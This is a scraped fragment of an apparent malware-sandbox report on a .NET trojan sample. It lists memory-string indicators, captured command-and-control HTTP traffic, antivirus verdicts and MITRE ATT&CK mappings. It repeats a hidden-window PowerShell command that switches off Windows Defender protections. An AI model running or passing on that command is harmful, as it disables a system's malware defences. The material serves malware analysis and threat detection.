"00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string ""powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablerealtimemonitoring"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string ""powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablebehaviormonitoring"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string ""powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableblockatfirstseen"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string ""powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableioavprotection"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string "VirtualAllocCreateThread-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablerealtimemonitoring"; Source: "00000000-00004796.00000001.235603.00972000.00000002.mdmp") Found string "VirtualAllocCreateThread-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablebehaviormonitoring"; Source: "00000000-00004796.00000001.235603.00972000.00000002.mdmp") Found string "VirtualAllocCreateThread-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableblockatfirstseen"; Source: "00000000-00004796.00000001.235603.00972000.00000002.mdmp") Found string "VirtualAllocCreateThread-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableioavprotection"; Source: "00000000-00004796.00000001.235603.00972000.00000002.mdmp") Found string ""powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablerealtimemonitoring"; Source: "00000000-00006372.00000000.234681.55990000.00000004.mdmp, 00000000-00006372.00000001.234931.55990000.00000004.mdmp") Found string ""powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablebehaviormonitoring"; Source: "00000000-00006372.00000000.234681.55990000.00000004.mdmp, 00000000-00006372.00000001.234931.55990000.00000004.mdmp") Found string ""powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableblockatfirstseen"; Source: "00000000-00006372.00000000.234681.55990000.00000004.mdmp, 00000000-00006372.00000001.234931.55990000.00000004.mdmp") Found string ""powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableioavprotection"; Source: "00000000-00006372.00000000.234681.55990000.00000004.mdmp, 00000000-00006372.00000001.234931.55990000.00000004.mdmp") Found string "HostApplication=powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablerealtimemonitoring"; Source: "00000000-00006372.00000000.234681.55990000.00000004.mdmp, 00000000-00006372.00000001.234931.559BC000.00000004.mdmp") Found string "HostApplication=powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablebehaviormonitoring"; Source: "00000000-00006372.00000000.234681.55990000.00000004.mdmp, 00000000-00006372.00000001.234931.559BC000.00000004.mdmp") Found string "HostApplication=powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableblockatfirstseen"; Source: "00000000-00006372.00000000.234681.55990000.00000004.mdmp, 00000000-00006372.00000001.234931.559BC000.00000004.mdmp") Found string "HostApplication=powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableioavprotection"; Source: "00000000-00006372.00000000.234681.55990000.00000004.mdmp, 00000000-00006372.00000001.234931.559BC000.00000004.mdmp") Found string "DisableRealtimeMonitoring" (Indicator: "disablerealtimemonitoring"; Source: "00000000-00006372.00000000.234681.A9072000.00000002.mdmp, 00000000-00006372.00000001.234931.6FC50000.00000004.mdmp, 00000000-00006372.00000001.234931.716C0000.00000004.mdmp") Found string "DisableIOAVProtection" (Indicator: "disableioavprotection"; Source: "00000000-00006372.00000000.234681.A9072000.00000002.mdmp, 00000000-00006372.00000001.234931.6FC50000.00000004.mdmp, 00000000-00006372.00000001.234931.716C0000.00000004.mdmp") Found string "Operation failed with the following error: 0x800106ba. Operation: Set-MpPreference. Target: DisableRealtimeMonitoring." (Indicator: "disablerealtimemonitoring"; Source: "00000000-00006372.00000001.234931.559BC000.00000004.mdmp, 00000000-00006372.00000001.234931.6FD09000.00000004.mdmp, 00000000-00006372.00000001.234931.716C0000.00000004.mdmp, 00000000-00006372.00000001.234931.71782000.00000004.mdmp") Found string "F7OAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disablebehaviormonitoring"; Source: "00000000-00006372.00000001.234931.559BC000.00000004.mdmp") Found string "F7OAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "disableblockatfirstseen"; Source: "00000000-00006372.00000001.234931.559BC000.00000004.mdmp") Found string "1 -DisableBlockAtFirstSeen 1" (Indicator: "disableblockatfirstseen"; Source: "00000000-00006372.00000001.234931.559BC000.00000004.mdmp") Found string "DisableBehaviorMonitoring" (Indicator: "disablebehaviormonitoring"; Source: "00000000-00006372.00000001.234931.6FC50000.00000004.mdmp, 00000000-00006372.00000001.234931.716C0000.00000004.mdmp") Found string "DisableBlockAtFirstSeen" (Indicator: "disableblockatfirstseen"; Source: "00000000-00006372.00000001.234931.6FC50000.00000004.mdmp, 00000000-00006372.00000001.234931.716C0000.00000004.mdmp") Found string "DisableIntrusionPreventionSystem" (Indicator: "disableintrusionpreventionsystem"; Source: "00000000-00006372.00000001.234931.6FC50000.00000004.mdmp, 00000000-00006372.00000001.234931.716C0000.00000004.mdmp") Found string "DisableScriptScanning" (Indicator: "disablescriptscanning"; Source: "00000000-00006372.00000001.234931.6FC50000.00000004.mdmp") Found string "Operation failed with the following error: 0x800106ba. Operation: Set-MpPreference. Target: DisableIOAVProtection." (Indicator: "disableioavprotection"; Source: "00000000-00006372.00000001.234931.716C0000.00000004.mdmp") Found string "ing error: 0x800106ba. Operation: Set-MpPreference. Target: DisableBehaviorMonitoring." (Indicator: "disablebehaviormonitoring"; Source: "00000000-00006372.00000001.234931.716C0000.00000004.mdmp") Found string "Operation failed with the following error: 0x800106ba. Operation: Set-MpPreference. Target: DisableBlockAtFirstSeen." (Indicator: "disableblockatfirstseen"; Source: "00000000-00006372.00000001.234931.716C0000.00000004.mdmp") Found string "Operation failed with the following error: 0x800106ba. Operation: Set-MpPreference. Target: DisableBehaviorMonitoring." (Indicator: "disablebehaviormonitoring"; Source: "00000000-00006372.00000001.234931.716C0000.00000004.mdmp")54:T1431,Found string "VirtualAllocCreateThread-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "Set-MpPreference"; File: "5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin") Found string "Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "Set-MpPreference"; File: "AMSI") file/memory contains long string with (Indicator: "Set-MpPreference"; File: "AMSI") Found string "-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "Set-MpPreference"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string "-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "Set-MpPreference"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string "Interactive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "Set-MpPreference"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string ""powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "Set-MpPreference"; Source: "00000000-00004796.00000000.234515.05850000.00000004.mdmp, 00000000-00004796.00000001.235603.05850000.00000004.mdmp") Found string "VirtualAllocCreateThread-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "Set-MpPreference"; Source: "00000000-00004796.00000001.235603.00972000.00000002.mdmp") Found string "Set-MpPreference" (Indicator: "Set-MpPreference"; Source: "00000000-00006372.00000000.234681.55980000.00000004.mdmp, 00000000-00006372.00000000.234681.55990000.00000004.mdmp, 00000000-00006372.00000000.234681.6FCA0000.00000004.mdmp, 00000000-00006372.00000001.234931.55980000.00000004.mdmp, 00000000-00006372.00000001.234931.55990000.00000004.mdmp, 00000000-00006372.00000001.234931.559BC000.00000004.mdmp, 00000000-00006372.00000001.234931.6FCA0000.00000004.mdmp, 00000000-00006372.00000001.234931.716C0000.00000004.mdmp") Found string ""powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "Set-MpPreference"; Source: "00000000-00006372.00000000.234681.55990000.00000004.mdmp, 00000000-00006372.00000001.234931.55990000.00000004.mdmp") Found string "HostApplication=powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1" (Indicator: "Set-MpPreference"; Source: "00000000-00006372.00000000.234681.55990000.00000004.mdmp, 00000000-00006372.00000001.234931.559BC000.00000004.mdmp") Found string "Operation failed with the following error: 0x800106ba. Operation: Set-MpPreference. Target: DisableRealtimeMonitoring." (Indicator: "Set-MpPreference"; Source: "00000000-00006372.00000001.234931.559BC000.00000004.mdmp, 00000000-00006372.00000001.234931.6FD09000.00000004.mdmp, 00000000-00006372.00000001.234931.716C0000.00000004.mdmp, 00000000-00006372.00000001.234931.71782000.00000004.mdmp") Found string "Operation failed with the following error: 0x800106ba. Operation: Set-MpPreference. Target: DisableIOAVProtection." (Indicator: "Set-MpPreference"; Source: "00000000-00006372.00000001.234931.716C0000.00000004.mdmp") Found string "ing error: 0x800106ba. Operation: Set-MpPreference. Target: DisableBehaviorMonitoring." (Indicator: "Set-MpPreference"; Source: "00000000-00006372.00000001.234931.716C0000.00000004.mdmp") Found string "Operation failed with the following error: 0x800106ba. Operation: Set-MpPreference. Target: DisableBlockAtFirstSeen." (Indicator: "Set-MpPreference"; Source: "00000000-00006372.00000001.234931.716C0000.00000004.mdmp") Found string "Operation failed with the following error: 0x800106ba. Operation: Set-MpPreference. Target: DisableBehaviorMonitoring." (Indicator: "Set-MpPreference"; Source: "00000000-00006372.00000001.234931.716C0000.00000004.mdmp")55:T9e5," "------gofDBIsMDpPAklOBVvOTContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------gofDBIsMDpPAklOBVvOTContent-Disposition: form-data; name="build_id"c0bbcd1535957bb9a693afd6cfa86e4c------gofDBIsMDpPAklOBVvOT--" HTTP/1.1 200 OK Date: Sat 21 Mar 2026 13:46:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=MUsOxF%2FfaV%2FowRonyHaaAEftr7pErRW8iGHHTyierjU0pU6dWv%2FD%2Be%2BCxQXvn1hWcVx7gsXu0S8P45B7NgkM0AU%2BIS4zKkYGGvNMCNw%3D"}]} CF-RAY: 9dfd66847af07396-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B.......5a:T634,"" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") ".skype.com1&0" (Indicator: "skype.com") "community-stage.skype.com1" (Indicator: "skype.com")5b:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEREREQAAAAAAAAAAAAAAAzMzMzMwAAAAAAAAAAAAAAMzMzMzMAAAAAAAAAAAAAADMQAAAAAAAAAAAAAAAAAAA3EAAAAAAAAAAAAAAAAAAANxAAAAAAAAAAAAAAAAAAADd3d3MAAAAAAAAAAAAAAAA3d3d3EAAAAAAAAAAAAAAAdzAAAAAAAAAAAAAAAAAAAHcQAAAAAAAAAAAAAAAAAAB3MBEREAAAAAAAAAAAAAAAd3d3d3cAAAAAAAAAAAAAAHd3d3d3AAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791633761389,"unified_at":"2026-10-10T12:02:41.389Z","metadata":{"hashes":{"sha256":"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0","sha1":"734e8407c3323d2c26dd1a108084b3bd873d5bc5","md5":"24e34ef8244605897e4cb750030d1e89","sha512":"d08c25ad04f327f356196824bf9e254a8c871a9cfc0079165491241dd7c5a5e48fcab5f948fd6a14fe74660c0756206141b6ac854fe9647fd0f16b5f189a80c4","ssdeep":"12288:nHfdbye7MHyOQ6yvE+R9tXASbOVJcbm6pPl:HlyyEyvt9twXV+bm69l","ssdeep_chunks":["12288:nHfdbye","12288:Hfdbye7","12288:fdbye7M","12288:dbye7MH","12288:bye7MHy","12288:ye7MHyO","12288:e7MHyOQ","12288:7MHyOQ6","12288:MHyOQ6y","12288:HyOQ6yv","12288:yOQ6yvE","12288:OQ6yvE+","12288:Q6yvE+R","12288:6yvE+R9","12288:yvE+R9t","12288:vE+R9tX","12288:E+R9tXA","12288:+R9tXAS","12288:R9tXASb","12288:9tXASbO","12288:tXASbOV","12288:XASbOVJ","12288:ASbOVJc","12288:SbOVJcb","12288:bOVJcbm","12288:OVJcbm6","12288:VJcbm6p","12288:Jcbm6pP","12288:cbm6pPl","24576:nHfdbye","24576:Hfdbye7","24576:fdbye7M","24576:dbye7MH","24576:bye7MHy","24576:ye7MHyO","24576:e7MHyOQ","24576:7MHyOQ6","24576:MHyOQ6y","24576:HyOQ6yv","24576:yOQ6yvE","24576:OQ6yvE+","24576:Q6yvE+R","24576:6yvE+R9","24576:yvE+R9t","24576:vE+R9tX","24576:E+R9tXA","24576:+R9tXAS","24576:R9tXASb","24576:9tXASbO","24576:tXASbOV","24576:XASbOVJ","24576:ASbOVJc","24576:SbOVJcb","24576:bOVJcbm","24576:OVJcbm6","24576:VJcbm6p","24576:Jcbm6pP","24576:cbm6pPl","12288:HlyyEyv","12288:lyyEyvt","12288:yyEyvt9","12288:yEyvt9t","12288:Eyvt9tw","12288:yvt9twX","12288:vt9twXV","12288:t9twXV+","12288:9twXV+b","12288:twXV+bm","12288:wXV+bm6","12288:XV+bm69","12288:V+bm69l"]},"file_info":{"file_name":"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin","file_type":["peexe","64bits","assembly","executable"],"file_type_id":"64-bit .NET exe","file_size":393952,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1774100680000,"last_seen":1774206245000,"last_multi_scan":1774206245000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["suspicious"]},"stats":{"av":{"malicious_count":9,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":71},"sandbox_signatures":{"informative_count":194,"suspicious_count":14,"malicious_count":2,"total":210},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Multi.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/AVI.PWS.Agent.upday","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.79756842","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_Win32_Wacatac_C_ml","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"crowdstrikefalconml":{"name":"CrowdStrike Falcon ML","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.79756842 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/GenKryptik.HQEP trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W64/ABmRisk.YOKJ-5014","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Recently renewed or created SSL certificate"},{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"informative","value":".NET source code contains suspicious native API"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Able to execute application (.NET)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to start a process (Dotnet)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"informative","value":"Executes powershell with commandline"},{"type":"informative","value":"Able to build PowerShell events through modules contained in the .NET code"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Able to access control system service controller"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) 